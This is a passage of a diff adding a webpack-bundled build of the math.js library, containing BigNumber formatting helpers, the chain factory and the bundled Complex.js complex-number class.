Math.round(Math.log(options.exponential.upper) / Math.LN10); + } + + console.warn('Deprecation warning: Formatting options exponential.lower and exponential.upper ' + '(minimum and maximum value) ' + 'are replaced with exponential.lowerExp and exponential.upperExp ' + '(minimum and maximum exponent) since version 4.0.0. ' + 'Replace ' + JSON.stringify(options) + ' with ' + JSON.stringify(fixedOptions)); + return exports.format(value, fixedOptions); + } // determine lower and upper bound for exponential notation. + // TODO: implement support for upper and lower to be BigNumbers themselves + + + var lowerExp = options && options.lowerExp !== undefined ? options.lowerExp : -3; + var upperExp = options && options.upperExp !== undefined ? options.upperExp : 5; // handle special case zero + + if (value.isZero()) return '0'; // determine whether or not to output exponential notation + + var str; + var exp = value.e; + + if (exp >= lowerExp && exp < upperExp) { + // normal number notation + str = value.toSignificantDigits(precision).toFixed(); + } else { + // exponential notation + str = exports.toExponential(value, precision); + } // remove trailing zeros after the decimal point + + + return str.replace(/((\.\d*?)(0+))($|e)/, function () { + var digits = arguments[2]; + var e = arguments[4]; + return digits !== '.' ? digits + e : e; + }); + + default: + throw new Error('Unknown notation "' + notation + '". ' + 'Choose "auto", "exponential", or "fixed".'); + } +}; +/** + * Format a BigNumber in engineering notation. Like '1.23e+6', '2.3e+0', '3.500e-3' + * @param {BigNumber | string} value + * @param {number} [precision] Optional number of significant figures to return. + */ + + +exports.toEngineering = function (value, precision) { + // find nearest lower multiple of 3 for exponent + var e = value.e; + var newExp = e % 3 === 0 ? e : e < 0 ? e - 3 - e % 3 : e - e % 3; // find difference in exponents, and calculate the value without exponent + + var valueWithoutExp = value.mul(Math.pow(10, -newExp)); + var valueStr = valueWithoutExp.toPrecision(precision); + + if (valueStr.indexOf('e') !== -1) { + valueStr = valueWithoutExp.toString(); + } + + return valueStr + 'e' + (e >= 0 ? '+' : '') + newExp.toString(); +}; +/** + * Format a number in exponential notation. Like '1.23e+5', '2.3e+0', '3.500e-3' + * @param {BigNumber} value + * @param {number} [precision] Number of digits in formatted output. + * If not provided, the maximum available digits + * is used. + * @returns {string} str + */ + + +exports.toExponential = function (value, precision) { + if (precision !== undefined) { + return value.toExponential(precision - 1); // Note the offset of one + } else { + return value.toExponential(); + } +}; +/** + * Format a number with fixed notation. + * @param {BigNumber} value + * @param {number} [precision=undefined] Optional number of decimals after the + * decimal point. Undefined by default. + */ + + +exports.toFixed = function (value, precision) { + return value.toFixed(precision); +}; + +/***/ }), +/* 176 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + /** + * Wrap any value in a chain, allowing to perform chained operations on + * the value. + * + * All methods available in the math.js library can be called upon the chain, + * and then will be evaluated with the value itself as first argument. + * The chain can be closed by executing `chain.done()`, which returns + * the final value. + * + * The chain has a number of special functions: + * + * - `done()` Finalize the chain and return the chain's value. + * - `valueOf()` The same as `done()` + * - `toString()` Executes `math.format()` onto the chain's value, returning + * a string representation of the value. + * + * Syntax: + * + * math.chain(value) + * + * Examples: + * + * math.chain(3) + * .add(4) + * .subtract(2) + * .done() // 5 + * + * math.chain( [[1, 2], [3, 4]] ) + * .subset(math.index(0, 0), 8) + * .multiply(3) + * .done() // [[24, 6], [9, 12]] + * + * @param {*} [value] A value of any type on which to start a chained operation. + * @return {math.type.Chain} The created chain + */ + return typed('chain', { + '': function _() { + return new type.Chain(); + }, + 'any': function any(value) { + return new type.Chain(value); + } + }); +} + +exports.name = 'chain'; +exports.factory = factory; + +/***/ }), +/* 177 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [// type +__webpack_require__(82), // construction function +__webpack_require__(179)]; + +/***/ }), +/* 178 */ +/***/ (function(module, exports, __webpack_require__) { + +var __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/** + * @license Complex.js v2.0.11 11/02/2016 + * + * Copyright (c) 2016, Robert Eisele (robert@xarg.org) + * Dual licensed under the MIT or GPL Version 2 licenses. + **/ + +/** + * + * This class allows the manipulation of complex numbers. + * You can pass a complex number in different formats. Either as object, double, string or two integer parameters. + * + * Object form + * { re: , im: } + * { arg: , abs: } + * { phi: , r: } + * + * Array / Vector form + * [ real, imaginary ] + * + * Double form + * 99.3 - Single double value + * + * String form + * '23.1337' - Simple real number + * '15+3i' - a simple complex number + * '3-i' - a simple complex number + * + * Example: + * + * var c = new Complex('99.3+8i'); + * c.mul({r: 3, i: 9}).div(4.9).sub(3, 2); + * + */ + +(function(root) { + + 'use strict'; + + var cosh = function(x) { + return (Math.exp(x) + Math.exp(-x)) * 0.5; + }; + + var sinh = function(x) { + return (Math.exp(x) - Math.exp(-x)) * 0.5; + }; + + /** + * Calculates cos(x) - 1 using Taylor series if x is small. + * + * @param {number} x + * @returns {number} cos(x) - 1 + */ + + var cosm1 = function(x) { + var limit = Math.PI/4; + if (x < -limit || x > limit) { + return (Math.cos(x) - 1.0); + } + + var xx = x * x; + return xx * + (-0.5 + xx * + (1/24 + xx * + (-1/720 + xx * + (1/40320 + xx * + (-1/3628800 + xx * + (1/4790014600 + xx * + (-1/87178291200 + xx * + (1/20922789888000) + ) + ) + ) + ) + ) + ) + ) + }; + + var hypot = function(x, y) { + + var a = Math.abs(x); + var b = Math.abs(y); + + if (a < 3000 && b < 3000) { + return Math.sqrt(a * a + b * b); + } + + if (a < b) { + a = b; + b = x / y; + } else { + b = y / x; + } + return a * Math.sqrt(1 + b * b); + }; + + var parser_exit = function() { + throw SyntaxError('Invalid Param'); + }; + + /** + * Calculates log(sqrt(a^2+b^2)) in a way to avoid overflows + * + * @param {number} a + * @param {number} b + * @returns {number} + */ + function logHypot(a, b) { + + var _a = Math.abs(a); + var _b = Math.abs(b); + + if (a === 0) { + return Math.log(_b); + } + + if (b === 0) { + return Math.log(_a); + } + + if (_a < 3000 && _b < 3000) { + return Math.log(a * a + b * b) * 0.5; + } + + /* I got 4 ideas to compute this property without overflow: + * + * Testing 1000000 times with random samples for a,b ∈ [1, 1000000000] against a big decimal library to get an error estimate + * + * 1. Only eliminate the square root: (OVERALL ERROR: 3.9122483030951116e-11) + + Math.log(a * a + b * b) / 2 + + * + * + * 2. Try to use the non-overflowing pythagoras: (OVERALL ERROR: 8.889760039210159e-10) + + var fn = function(a, b) { + a = Math.abs(a); + b = Math.abs(b); + var t = Math.min(a, b); + a = Math.max(a, b); + t = t / a; + + return Math.log(a) + Math.log(1 + t * t) / 2; + }; + + * 3. Abuse the identity cos(atan(y/x) = x / sqrt(x^2+y^2): (OVERALL ERROR: 3.4780178737037204e-10) + + Math.log(a / Math.cos(Math.atan2(b, a))) + + * 4. Use 3. and apply log rules: (OVERALL ERROR: 1.2014087502620896e-9) + + Math.log(a) - Math.log(Math.cos(Math.atan2(b, a))) + + */ + + return Math.log(a / Math.cos(Math.atan2(b, a))); + } + + var parse = function(a, b) { + + var z = {'re': 0, 'im': 0}; + + if (a === undefined || a === null) { + z['re'] = + z['im'] = 0; + } else if (b !== undefined) { + z['re'] = a; + z['im'] = b; + } else + switch (typeof a) { + + case 'object': + + if ('im' in a && 're' in a) { + z['re'] = a['re']; + z['im'] = a['im']; + } else if ('abs' in a && 'arg' in a) { + if (!Number.isFinite(a['abs']) && Number.isFinite(a['arg'])) { + return Complex['INFINITY']; + } + z['re'] = a['abs'] * Math.cos(a['arg']); + z['im'] = a['abs'] * Math.sin(a['arg']); + } else if ('r' in a && 'phi' in a) { + if (!Number.isFinite(a['r']) && Number.isFinite(a['phi'])) { + return Complex['INFINITY']; + } + z['re'] = a['r'] * Math.cos(a['phi']); + z['im'] = a['r'] * Math.sin(a['phi']); + } else if (a.length === 2) { // Quick array check + z['re'] = a[0]; + z['im'] = a[1]; + } else { + parser_exit(); + } + break; + + case 'string': + + z['im'] = /* void */ + z['re'] = 0; + + var tokens = a.match(/\d+\.?\d*e[+-]?\d+|\d+\.?\d*|\.\d+|./g); + var plus = 1; + var minus = 0; + + if (tokens === null) { + parser_exit(); + } + + for (var i = 0; i < tokens.length; i++) { + + var c = tokens[i]; + + if (c === ' ' || c === '\t' || c === '\n') { + /* void */ + } else if (c === '+') { + plus++; + } else if (c === '-') { + minus++; + } else if (c === 'i' || c === 'I') { + + if (plus + minus === 0) { + parser_exit(); + } + + if (tokens[i + 1] !== ' ' && !isNaN(tokens[i + 1])) { + z['im'] += parseFloat((minus % 2 ? '-' : '') + tokens[i + 1]); + i++; + } else { + z['im'] += parseFloat((minus % 2 ? '-' : '') + '1'); + } + plus = minus = 0; + + } else { + + if (plus + minus === 0 || isNaN(c)) { + parser_exit(); + } + + if (tokens[i + 1] === 'i' || tokens[i + 1] === 'I') { + z['im'] += parseFloat((minus % 2 ? '-' : '') + c); + i++; + } else { + z['re'] += parseFloat((minus % 2 ? '-' : '') + c); + } + plus = minus = 0; + } + } + + // Still something on the stack + if (plus + minus > 0) { + parser_exit(); + } + break; + + case 'number': + z['im'] = 0; + z['re'] = a; + break; + + default: + parser_exit(); + } + + if (isNaN(z['re']) || isNaN(z['im'])) { + // If a calculation is NaN, we treat it as NaN and don't throw + //parser_exit(); + } + + return z; + }; + + /** + * @constructor + * @returns {Complex} + */ + function Complex(a, b) { + + if (!(this instanceof Complex)) { + return new Complex(a, b); + } + + var z = parse(a, b); + + this['re'] = z['re']; + this['im'] = z['im']; + } + + Complex.prototype = { + + 're': 0, + 'im': 0, + + /** + * Calculates the sign of a complex number, which is a normalized complex + * + * @returns {Complex} + */ + 'sign': function() { + + var abs = this['abs'](); + + return new Complex( + this['re'] / abs, + this['im'] / abs); + }, + + /** + * Adds two complex numbers + * + * @returns {Complex} + */ + 'add': function(a, b) { + + var z = new Complex(a, b); + + // Infinity + Infinity = NaN + if (this['isInfinite']() && z['isInfinite']()) { + return Complex['NAN']; + } + + // Infinity + z = Infinity { where z != Infinity } + if (this['isInfinite']() || z['isInfinite']()) { + return Complex['INFINITY']; + } + + return new Complex( + this['re'] + z['re'], + this['im'] + z['im']); + }, + + /** + * Subtracts two complex numbers + * + * @returns {Complex} + */ + 'sub': function(a, b) { + + var z = new Complex(a, b); + + // Infinity - Infinity = NaN + if (this['isInfinite']() && z['isInfinite']()) { + return Complex['NAN']; + } + + // Infinity - z = Infinity { where z != Infinity } + if (this['isInfinite']() || z['isInfinite']()) { + return Complex['INFINITY']; + } + + return new Complex( + this['re'] - z['re'], + this['im'] - z['im']); + }, + + /** + * Multiplies two complex numbers + * + * @returns {Complex} + */ + 'mul': function(a, b) { + + var z = new Complex(a, b); + + // Infinity * 0 = NaN + if ((this['isInfinite']() && z['isZero']()) || (this['isZero']() && z['isInfinite']())) { + return Complex['NAN']; + } + + // Infinity * z = Infinity { where z != 0 } + if (this['isInfinite']() || z['isInfinite']()) { + return Complex['INFINITY']; + } + + // Short circuit for real values + if (z['im'] === 0 && this['im'] === 0) { + return new Complex(this['re'] * z['re'], 0); + } + + return new Complex( + this['re'] * z['re'] - this['im'] * z['im'], + this['re'] * z['im'] + this['im'] * z['re']); + }, + + /** + * Divides two complex numbers + * + * @returns {Complex} + */ + 'div': function(a, b) { + + var z = new Complex(a, b); + + // 0 / 0 = NaN and Infinity / Infinity = NaN + if ((this['isZero']() && z['isZero']()) || (this['isInfinite']() && z['isInfinite']())) { + return Complex['NAN']; + } + + // Infinity / 0 = Infinity + if (this['isInfinite']() || z['isZero']()) { + return Complex['INFINITY']; + } + + // 0 / Infinity = 0 + if (this['isZero']() || z['isInfinite']()) { + return Complex['ZERO']; + } + + a = this['re']; + b = this['im']; + + var c = z['re']; + var d = z['im']; + var t, x; + + if (0 === d) { + // Divisor is real + return new Complex(a / c, b / c); + } + + if (Math.abs(c) < Math.abs(d)) { + + x = c / d; + t = c * x + d; + + return new Complex( + (a * x + b) / t, + (b * x - a) / t); + + } else { + + x = d / c; + t = d * x + c; + + return new Complex( + (a + b * x) / t, + (b - a * x) / t); + } + }, + + /** + * Calculate the power of two complex numbers + * + * @returns {Complex} + */ + 'pow': function(a, b) { + + var z = new Complex(a, b); + + a = this['re']; + b = this['im']; + + if (z['isZero']()) { + return Complex['ONE']; + } + + // If the exponent is real + if (z['im'] === 0) { + + if (b === 0 && a >= 0) { + + return new Complex(Math.pow(a, z['re']), 0); + + } else if (a === 0) { // If base is fully imaginary + + switch ((z['re'] % 4 + 4) % 4) { + case 0: + return new Complex(Math.pow(b, z['re']), 0); + case 1: + return new Complex(0, Math.pow(b, z['re'])); + case 2: + return new Complex(-Math.pow(b, z['re']), 0); + case 3: + return new Complex(0, -Math.pow(b, z['re'])); + } + } + } + + /* I couldn't find a good formula, so here is a derivation and optimization + * + * z_1^z_2 = (a + bi)^(c + di) + * = exp((c + di) * log(a + bi) + * = pow(a^2 + b^2, (c + di) / 2) * exp(i(c + di)atan2(b, a)) + * =>... + * Re = (pow(a^2 + b^2, c / 2) * exp(-d * atan2(b, a))) * cos(d * log(a^2 + b^2) / 2 + c * atan2(b, a)) + * Im = (pow(a^2 + b^2, c / 2) * exp(-d * atan2(b, a))) * sin(d * log(a^2 + b^2) / 2 + c * atan2(b, a)) + * + * =>... + * Re = exp(c * log(sqrt(a^2 + b^2)) - d * atan2(b, a)) * cos(d * log(sqrt(a^2 + b^2)) + c * atan2(b, a)) + * Im = exp(c * log(sqrt(a^2 + b^2)) - d * atan2(b, a)) * sin(d * log(sqrt(a^2 + b^2)) + c * atan2(b, a)) + * + * => + * Re = exp(c * logsq2 - d * arg(z_1)) * cos(d * logsq2 + c * arg(z_1)) + * Im = exp(c * logsq2 - d * arg(z_1)) * sin(d * logsq2 + c * arg(z_1)) + * + */ + + if (a === 0 && b === 0 && z['re'] > 0 && z['im'] >= 0) { + return Complex['ZERO']; + } + + var arg = Math.atan2(b, a); + var loh = logHypot(a, b); + + a = Math.exp(z['re'] * loh - z['im'] * arg); + b = z['im'] * loh + z['re'] * arg; + return new Complex( + a * Math.cos(b), + a * Math.sin(b)); + }, + + /** + * Calculate the complex square root + * + * @returns {Complex} + */ + 'sqrt': function() { + + var a = this['re']; + var b = this['im']; + var r = this['abs'](); + + var re, im; + + if (a >= 0) { + + if (b === 0) { + return new Complex(Math.sqrt(a), 0); + } + + re = 0.5 * Math.sqrt(2.0 * (r + a)); + } else { + re = Math.abs(b) / Math.sqrt(2 * (r - a)); + } + + if (a <= 0) { + im = 0.5 * Math.sqrt(2.0 * (r - a)); + } else { + im = Math.abs(b) / Math.sqrt(2 * (r + a)); + } + + return new Complex(re, b < 0 ? -im : im); + }, + + /** + * Calculate the complex exponent + * + * @returns {Complex} + */ + 'exp': function() { + + var tmp = Math.exp(this['re']); + + if (this['im'] === 0) { + //return new Complex(tmp, 0); + } + return new Complex( + tmp * Math.cos(this['im']), + tmp * Math.sin(this['im'])); + }, + + /** + * Calculate the complex exponent and subtracts one. + * + * This may be more accurate than `Complex(x).exp().sub(1)` if + * `x` is small. + * + * @returns {Complex} + */ + 'expm1': function() { + + /** + * exp(a + i*b) - 1 + = exp(a) * (cos(b) + j*sin(b)) - 1 + = expm1(a)*cos(b) + cosm1(b) + j*exp(a)*sin(b) + */ + + var a = this['re']; + var b = this['im']; + + return new Complex( + Math.expm1(a) * Math.cos(b) + cosm1(b), + Math.exp(a) * Math.sin(b)); + }, + + /** + * Calculate the natural log + * + * @returns {Complex} + */ + 'log': function() { + + var a = this['re']; + var b = this['im']; + + if (b === 0 && a > 0) { + //return new Complex(Math.log(a), 0); + } + + return new Complex( + logHypot(a, b), + Math.atan2(b, a)); + }, + + /** + * Calculate the magnitude of the complex number + * + * @returns {number} + */ + 'abs': function() { + + return hypot(this['re'], this['im']); + }, + + /** + * Calculate the angle of the complex number + * + * @returns {number} + */ + 'arg': function() { + + return Math.atan2(this['im'], this['re']); + }, + + /** + * Calculate the sine of the complex number + * + * @returns {Complex} + */ + 'sin': function() { + + // sin(c) = (e^b - e^(-b)) / (2i) + + var a = this['re']; + var b = this['im']; + + return new Complex( + Math.sin(a) * cosh(b), + Math.cos(a) * sinh(b)); + }, + + /** + * Calculate the cosine + * + * @returns {Complex} + */ + 'cos': function() { + + // cos(z) = (e^b + e^(-b)) / 2 + + var a = this['re']; + var b = this['im']; + + return new Complex( + Math.cos(a) * cosh(b), + -Math.sin(a) * sinh(b)); + }, + + /** + * Calculate the tangent + * + * @returns {Complex} + */ + 'tan': function() { + + // tan(c) = (e^(ci) - e^(-ci)) / (i(e^(ci) + e^(-ci))) + + var a = 2 * this['re']; + var b = 2 * this['im']; + var d = Math.cos(a) + cosh(b); + + return new Complex( + Math.sin(a) / d, + sinh(b) / d); + }, + + /** + * Calculate the cotangent + * + * @returns {Complex} + */ + 'cot': function() { + + // cot(c) = i(e^(ci) + e^(-ci)) / (e^(ci) - e^(-ci)) + + var a = 2 * this['re']; + var b = 2 * this['im']; + var d = Math.cos(a) - cosh(b); + + return new Complex( + -Math.sin(a) / d, + sinh(b) / d); + }, + + /** + * Calculate the secant + * + * @returns {Complex} + */ + 'sec': function() { + + // sec(c) = 2 / (e^(ci) + e^(-ci)) + + var a = this['re']; + var b = this['im']; + var d = 0.5 * cosh(2 * b) + 0.5 * Math.cos(2 * a); + + return new Complex( + Math.cos(a) * cosh(b) / d, + Math.sin(a) * sinh(b) / d); + }, + + /** + * Calculate the cosecans + * + * @returns {Complex} + */ + 'csc': function() { + + // csc(c) = 2i / (e^(ci) - e^(-ci)) + + var a = this['re']; + var b = this['im']; + var d = 0.5 * cosh(2 * b) - 0.5 * Math.cos(2 * a); + + return new Complex( + Math.sin(a) * cosh(b) / d, + -Math.cos(a) * sinh(b) / d); + }, + + /** + * Calculate the complex arcus sinus + * + * @returns {Complex} + */ + 'asin': function() { + + // asin(c) = -i * log(ci + sqrt(1 - c^2)) + + var a = this['re']; + var b = this['im']; + + var t1 = new Complex( + b * b - a * a + 1, + -2 * a * b)['sqrt'](); + + var t2 = new Complex( + t1['re'] - b, + t1['im'] + a)['log'](); + + return new Complex(t2['im'], -t2['re']); + }, + + /** + * Calculate the complex arcus cosinus + * + * @returns {Complex} + */ + 'acos': function() { + + // acos(c) = i * log(c - i * sqrt(1 - c^2)) + + var a = this['re']; + var b = this['im']; + + var t1 = new Complex( + b * b - a * a + 1, + -2 * a * b)['sqrt'](); + + var t2 = new Complex( + t1['re'] - b, + t1['im'] + a)['log'](); + + return new Complex(Math.PI / 2 - t2['im'], t2['re']); + }, + + /** + * Calculate the complex arcus tangent + * + * @returns {Complex} + */ + 'atan': function() { + + // atan(c) = i / 2 log((i + x) / (i - x)) + + var a = this['re']; + var b = this['im']; + + if (a === 0) { + + if (b === 1) { + return new Complex(0, Infinity); + } + + if (b === -1) { + return new Complex(0, -Infinity); + } + } + + var d = a * a + (1.0 - b) * (1.0 - b); + + var t1 = new Complex( + (1 - b * b - a * a) / d, + -2 * a / d).log(); + + return new Complex(-0.5 * t1['im'], 0.5 * t1['re']); + }, + + /** + * Calculate the complex arcus cotangent + * + * @returns {Complex} + */ + 'acot': function() { + + // acot(c) = i / 2 log((c - i) / (c + i)) + + var a = this['re']; + var b = this['im']; + + if (b === 0) { + return new Complex(Math.atan2(1, a), 0); + } + + var d = a * a + b * b; + return (d !== 0) + ? new Complex( + a / d, + -b / d).atan() + : new Complex( + (a !== 0) ? a / 0 : 0, + (b !== 0) ? -b / 0 : 0).atan(); + }, + + /** + * Calculate the complex arcus secant + * + * @returns {Complex} + */ + 'asec': function() { + + // asec(c) = -i * log(1 / c + sqrt(1 - i / c^2)) + + var a = this['re']; + var b = this['im']; + + if (a === 0 && b === 0) { + return new Complex(0, Infinity); + } + + var d = a * a + b * b; + return (d !== 0) + ? new Complex( + a / d, + -b / d).acos() + : new Complex( + (a !== 0) ? a / 0 : 0, + (b !== 0) ? -b / 0 : 0).acos(); + }, + + /** + * Calculate the complex arcus cosecans + * + * @returns {Complex} + */ + 'acsc': function() { + + // acsc(c) = -i * log(i / c + sqrt(1 - 1 / c^2)) + + var a = this['re']; + var b = this['im']; + + if (a === 0 && b === 0) { + return new Complex(Math.PI / 2, Infinity); + } + + var d = a * a + b * b; + return (d !== 0) + ? new Complex( + a / d, + -b / d).asin() + : new Complex( + (a !== 0) ? a / 0 : 0, + (b !== 0) ? -b / 0 : 0).asin(); + }, + + /** + * Calculate the complex sinh + * + * @returns {Complex} + */ + 'sinh': function() { + + // sinh(c) = (e^c - e^-c) / 2 + + var a = this['re']; + var b = this['im']; + + return new Complex( + sinh(a) * Math.cos(b), + cosh(a) * Math.sin(b)); + }, + + /** + * Calculate the complex cosh + * + * @returns {Complex} + */ + 'cosh': function() { + + // cosh(c) = (e^c + e^-c) / 2 + + var a = this['re']; + var b = this['im']; + + return new Complex( + cosh(a) * Math.cos(b), + sinh(a) * Math.sin(b)); + }, + + /** + * Calculate the complex tanh + * + * @returns {Complex} + */ + 'tanh': function() { + + // tanh(c) = (e^c - e^-c) / (e^c + e^-c) + + var a = 2 * this['re']; + var b = 2 * this['im']; + var d = cosh(a) + Math.cos(b); + + return new Complex( + sinh(a) / d, + Math.sin(b) / d); + }, + + /** + * Calculate the complex coth + * + * @returns {Complex} + */ + 'coth': function() { + + // coth(c) = (e^c + e^-c) / (e^c - e^-c) + + var a = 2 * this['re']; + var b = 2 * this['im']; + var d = cosh(a) - Math.cos(b); + + return new Complex( + sinh(a) / d, + -Math.sin(b) / d); + }, + + /** + * Calculate the complex coth + * + * @returns {Complex} + */ + 'csch': function() { + + // csch(c) = 2 / (e^c - e^-c) + + var a = this['re']; + var b = this['im']; + var d = Math.cos(2 * b) - cosh(2 * a); + + return new Complex( + -2 * sinh(a) * Math.cos(b) / d, + 2 * cosh(a) * Math.sin(b) / d); + }, + + /** + * Calculate the complex sech + * + * @returns {Complex} + */ + 'sech': function() { + + // sech(c) = 2 / (e^c + e^-c) + + var a = this['re']; + var b = this['im']; + var d = Math.cos(2 * b) + cosh(2 * a); + + return new Complex( + 2 * cosh(a) * Math.cos(b) / d, + -2 * sinh(a) * Math.sin(b) / d); + }, + + /** + * Calculate the complex asinh + * + * @returns {Complex} + */ + 'asinh': function() { + + // asinh(c) = log(c + sqrt(c^2 + 1)) + + var tmp = this['im']; + this['im'] = -this['re']; + this['re'] = tmp; + var res = this['asin'](); + + this['re'] = -this['im']; + this['im'] = tmp; + tmp = res['re']; + + res['re'] = -res['im']; + res['im'] = tmp; + return res; + }, + + /** + * Calculate the complex asinh + * + * @returns {Complex} + */ + 'acosh': function() { + + // acosh(c) = log(c + sqrt(c^2 - 1)) + + var res = this['acos'](); + if (res['im'] <= 0) { + var tmp = res['re']; + res['re'] = -res['im']; + res['im'] = tmp; + } else { + var tmp = res['im']; + res['im'] = -res['re']; + res['re'] = tmp; + } + return res; + }, + + /** + * Calculate the complex atanh + * + * @returns {Complex} + */ + 'atanh': function() { + + // atanh(c) = log((1+c) / (1-c)) / 2 + + var a = this['re']; + var b = this['im']; + + var noIM = a > 1 && b === 0; + var oneMinus = 1 - a; + var onePlus = 1 + a; + var d = oneMinus * oneMinus + b * b; + + var x = (d !== 0) + ? new Complex( + (onePlus * oneMinus - b * b) / d, + (b * oneMinus + onePlus * b) / d) + : new Complex( + (a !== -1) ? (a / 0) : 0, + (b !== 0) ? (b / 0) : 0); + + var temp = x['re']; + x['re'] = logHypot(x['re'], x['im']) / 2; + x['im'] = Math.atan2(x['im'], temp) / 2; + if (noIM) { + x['im'] = -x['im']; + } + return x; + }, + + /** + * Calculate the complex acoth + * + * @returns {Complex} + */ + 'acoth': function() { + + // acoth(c) = log((c+1) / (c-1)) / 2 + + var a = this['re']; + var b = this['im']; + + if (a === 0 && b === 0) { + return new Complex(0, Math.PI / 2); + } + + var d = a * a + b * b; + return (d !== 0) + ? new Complex( + a / d, + -b / d).atanh() + : new Complex( + (a !== 0) ? a / 0 : 0, + (b !== 0) ? -b / 0 : 0).atanh(); + }, + + /** + * Calculate the complex acsch + * + * @returns {Complex} + */ + 'acsch': function() { + + // acsch(c) = log((1+sqrt(1+c^2))/c) + + var a = this['re']; + var b = this['im']; + + if (b === 0) { + + return new Complex( + (a !== 0) + ? Math.log(a + Math.sqrt(a * a + 1)) + : Infinity, 0); + } + + var d = a * a + b * b; + return (d !== 0) + ? new Complex( + a / d, + -b / d).asinh() + : new Complex( + (a !== 0) ? a / 0 : 0, + (b !== 0) ? -b / 0 : 0).asinh(); + }, + + /** + * Calculate the complex asech + * + * @returns {Complex} + */ + 'asech': function() { + + // asech(c) = log((1+sqrt(1-c^2))/c) + + var a = this['re']; + var b = this['im']; + + if (this['isZero']()) { + return Complex['INFINITY']; + } + + var d = a * a + b * b; + return (d !== 0) + ? new Complex( + a / d, + -b / d).acosh() + : new Complex( + (a !== 0) ? a / 0 : 0, + (b !== 0) ? -b / 0 : 0).acosh(); + }, + + /** + * Calculate the complex inverse 1/z + * + * @returns {Complex} + */ + 'inverse': function() { + + // 1 / 0 = Infinity and 1 / Infinity = 0 + if (this['isZero']()) { + return Complex['INFINITY']; + } + + if (this['isInfinite']()) { + return Complex['ZERO']; + } + + var a = this['re']; + var b = this['im']; + + var d = a * a + b * b; + + return new Complex(a / d, -b / d); + }, + + /** + * Returns the complex conjugate + * + * @returns {Complex} + */ + 'conjugate': function() { + + return new Complex(this['re'], -this['im']); + }, + + /** + * Gets the negated complex number + * + * @returns {Complex} + */ + 'neg': function() { + + return new Complex(-this['re'], -this['im']); + }, + + /** + * Ceils the actual complex number + * + * @returns {Complex} + */ + 'ceil': function(places) { + + places = Math.pow(10, places || 0); + + return new Complex( + Math.ceil(this['re'] * places) / places, + Math.ceil(this['im'] * places) / places); + }, + + /** + * Floors the actual complex number + * + * @returns {Complex} + */ + 'floor': function(places) { + + places = Math.pow(10, places || 0); + + return new Complex( + Math.floor(this['re'] * places) / places, + Math.floor(this['im'] * places) / places); + }, + + /** + * Ceils the actual complex number + * + * @returns {Complex} + */ + 'round': function(places) { + + places = Math.pow(10, places || 0); + + return new Complex( + Math.round(this['re'] * places) / places, + Math.round(this['im'] * places) / places); + }, + + /** + * Compares two complex numbers + * + * **Note:** new Complex(Infinity).equals(Infinity) === false + * + * @returns {boolean} + */ + 'equals': function(a, b) { + + var z = new Complex(a, b); + + return Math.abs(z['re'] - this['re']) <= Complex['EPSILON'] && + Math.abs(z['im'] - this['im']) <= Complex['EPSILON']; + }, + + /** + * Clones the actual object + * + * @returns {Complex} + */ + 'clone': function() { + + return new Complex(this['re'], this['im']); + }, + + /** + * Gets a string of the actual complex number + * + * @returns {string} + */ + 'toString': function() { + + var a = this['re']; + var b = this['im']; + var ret = ''; + + if (this['isNaN']()) { + return 'NaN'; + } + + if (this['isZero']()) { + return '0'; + } + + if (this['isInfinite']()) { + return 'Infinity'; + } + + if (a !== 0) { + ret += a; + } + + if (b !== 0) { + + if (a !== 0) { + ret += b < 0 ? ' - ' : ' + '; + } else if (b < 0) { + ret += '-'; + } + + b = Math.abs(b); + + if (1 !== b) { + ret += b; + } + ret += 'i'; + } + + if (!ret) + return '0'; + + return ret; + }, + + /** + * Returns the actual number as a vector + * + * @returns {Array} + */ + 'toVector': function() { + + return [this['re'], this['im']]; + }, + + /** + * Returns the actual real value of the current object + * + * @returns {number|null} + */ + 'valueOf': function() { + + if (this['im'] === 0) { + return this['re']; + } + return null; + }, + + /** + * Determines whether a complex number is not on the Riemann sphere. + * + * @returns {boolean} + */ + 'isNaN': function() { + return isNaN(this['re']) || isNaN(this['im']); + }, + + /** + * Determines whether or not a complex number is at the zero pole of the + * Riemann sphere. + * + * @returns {boolean} + */ + 'isZero': function() { + return ( + (this['re'] === 0 || this['re'] === -0) && + (this['im'] === 0 || this['im'] === -0) + ); + }, + + /** + * Determines whether a complex number is not at the infinity pole of the + * Riemann sphere. + * + * @returns {boolean} + */ + 'isFinite': function() { + return isFinite(this['re']) && isFinite(this['im']); + }, + + /** + * Determines whether or not a complex number is at the infinity pole of the + * Riemann sphere. + * + * @returns {boolean} + */ + 'isInfinite': function() { + return !(this['isNaN']() || this['isFinite']()); + } + }; + + Complex['ZERO'] = new Complex(0, 0); + Complex['ONE'] = new Complex(1, 0); + Complex['I'] = new Complex(0, 1); + Complex['PI'] = new Complex(Math.PI, 0); + Complex['E'] = new Complex(Math.E, 0); + Complex['INFINITY'] = new Complex(Infinity, Infinity); + Complex['NAN'] = new Complex(NaN, NaN); + Complex['EPSILON'] = 1e-16; + + if (true) { + !(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_RESULT__ = (function() { + return Complex; + }).apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__), + __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)); + } else {} + +})(this); + + +/***/ }), +/* 179 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + /** + * Create a complex value or convert a value to a complex value. + * + * Syntax: + * + * math.complex() // creates a complex value with zero + * // as real and imaginary part. + * math.complex(re : number, im : string) // creates a complex value with provided + * // values for real and imaginary part. + * math.complex(re : number) // creates a complex value with provided + * // real value and zero imaginary part. + * math.complex(complex : Complex) // clones the provided complex value. + * math.complex(arg : string) // parses a string into a complex value. + * math.complex(array : Array) // converts the elements of the array + * // or matrix element wise into a + * // complex value. + * math.complex({re: number, im: number}) // creates a complex value with provided + * // values for real an imaginary part. + * math.complex({r: number, phi: number}) // creates a complex value with provided + * // polar coordinates + * + * Examples: + * + * const a = math.complex(3, -4) // a = Complex 3 - 4i + * a.re = 5 // a = Complex 5 - 4i + * const i = a.im // Number -4 + * const b = math.complex('2 + 6i') // Complex 2 + 6i + * const c = math.complex() // Complex 0 + 0i + * const d = math.add(a, b) // Complex 5 + 2i + * + * See also: + * + * bignumber, boolean, index, matrix, number, 